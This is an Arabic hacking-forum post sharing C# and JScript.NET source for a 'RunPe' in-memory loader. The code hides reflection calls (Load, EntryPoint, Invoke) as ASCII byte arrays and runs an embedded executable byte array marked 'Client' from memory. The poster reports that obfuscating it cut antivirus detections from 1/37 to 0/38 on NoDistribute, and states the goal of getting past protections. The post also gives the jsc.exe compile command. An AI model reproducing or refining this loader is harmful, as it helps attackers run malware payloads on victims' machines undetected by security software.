05.12.2017 Jscript.Net Csharp SourceCode


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,570
2,967
1
حياكم الله ياشباب
الاخ مستر عمو "محمد" طرح موضوعه هنا
[ طريقة ] - دونلودر بسيط بالجفا سكريبت دوت نت
وعدة مواضيع اخرى عن الجافا سكربت دوت نت
والاخ امير علمنا كيف نعمل كمبايل لملف الجافا سكربت دوت نت الناتج هنا
[ شرح ] - Jscript.Net Compiler
والاخ سليمان ارفق لنا مثال لكيفية تشغيل البايت اراي وهي مطابقة للسي شارب
لذلك الحقوق للشباب اللي ذكرتهم
اللي عملته انا بعد ماعملت كمبايل للملف ذو الاسم الحركي RunPe.js
"الملف مانه ران بي ولاله علاقة بالران بي بس ك اسم هيك سميته"
"ملف الjs مارح تقدر تشغله دبل كليك لانه جافا سكربت دوت نت مش جافا سكربت "
طبعا بيتم عمل كمبايل عن طريق الكوماند لاين
C#:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:winexe PathTojs\RunPe.js
رحت عملت ديكمبايل للملف هذا واللي حجمه طلع معي 149 كيلو
عن طريق المنقح وفتحت المشروع الناتج رح تشوف اخطاء
المهم صلحتهم وحصلت على السورس كود جاهز ..
يعني الان عنا سورس كود للكتابة بالجافا سكربت دوت نت طبعا بالدمج مع السي شارب
الملف اللي بتستخرجه عن طريق الكوماند لاين رح يطلع كلين الا من الكاسبر
RunPe.exe | 1/37 | NoDistribute
وبعد ماحصلنا على السورس وعدلنا فيه واخفينا الدوال ووو اصبح كلين من الكل
RunPe.exe | 0/38 | NoDistribute
والحجم 17 كيلو بايت بدل 149 كيلو

السورس هنا

C#:
using System;
using System.Runtime.CompilerServices;
using Microsoft.JScript;
using Microsoft.JScript.Vsa;
namespace RunPe
{
    [CompilerGlobalScope]
    public class JScript : GlobalScope
    {
        public static void Main(string[] a0)
        {
#pragma warning disable 618
            var globalScope = VsaEngine.CreateEngineAndGetGlobalScope(true, new[]
#pragma warning restore 618
            {Bs(new byte[] {34,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,52,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,34,44,34,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,44,32,86,101,114,115,105,111,110,61,52,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,34,44,34,83,121,115,116,101,109,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,34,44,34,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,44,32,86,101,114,115,105,111,110,61,52,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,48,51,102,53,102,55,102,49,49,100,53,48,97,51,97,34})});
            var jscriptU = new JScript(globalScope);
            globalScope.engine.PushScriptObject(jscriptU);
            jscriptU.GlobalCode();
            globalScope.engine.PopScriptObject();
        }
        public JScript(GlobalScope a1) : base(a1, a1.engine)
        {
        }
        public object GlobalCode()
        {
            Import.JScriptImport(Bs(new byte[] { 83, 121, 115, 116, 101, 109 }), engine);
            Import.JScriptImport(Bs(new byte[] { 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110 }), engine);
            var lateBinding = new LateBinding(Bs(new byte[] { 76, 111, 97, 100 }));
            var lateBinding2 = new LateBinding(Bs(new byte[] { 69, 110, 116, 114, 121, 80, 111, 105, 110, 116 }));
            var lateBinding3 = new LateBinding(Bs(new byte[] { 73, 110, 118, 111, 107, 101 }));
            var a = AppDomain.CurrentDomain;
            var b = new byte[] { 77, 90, 144, 0}; //Client
            var lateBinding4 = lateBinding3;
            var lateBinding5 = lateBinding2;
            var lateBinding6 = lateBinding;
            lateBinding6.obj = Microsoft.JScript.Convert.ToObject(a, engine);
            lateBinding5.obj = Microsoft.JScript.Convert.ToObject(lateBinding6.Call(new object[]{ b }, false, false, engine), engine);
            lateBinding4.obj = Microsoft.JScript.Convert.ToObject(lateBinding5.GetNonMissingValue(), engine);
            lateBinding4.Call(new object[]
            {
                DBNull.Value,
                DBNull.Value
            }, false, false, engine);
            return null;
        }
        private static string Bs(byte[] bashar)
        {
            return System.Text.Encoding.ASCII.GetString(bashar);
        }
        public static object A;
        public static byte[] B;
    }
}
الهدف من الموضوع هو التعامل مع الجافا سكربت دوت نت
لعمل مزيج جميل وجديد ينفعنا مع الحمايات
ولاحاجة لنا الان بالملف jsc.exe المسؤول عن عمل الكمبايل
لملفات الجاافا سكربت دوت نت
لمشاهدة الشرح من المرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك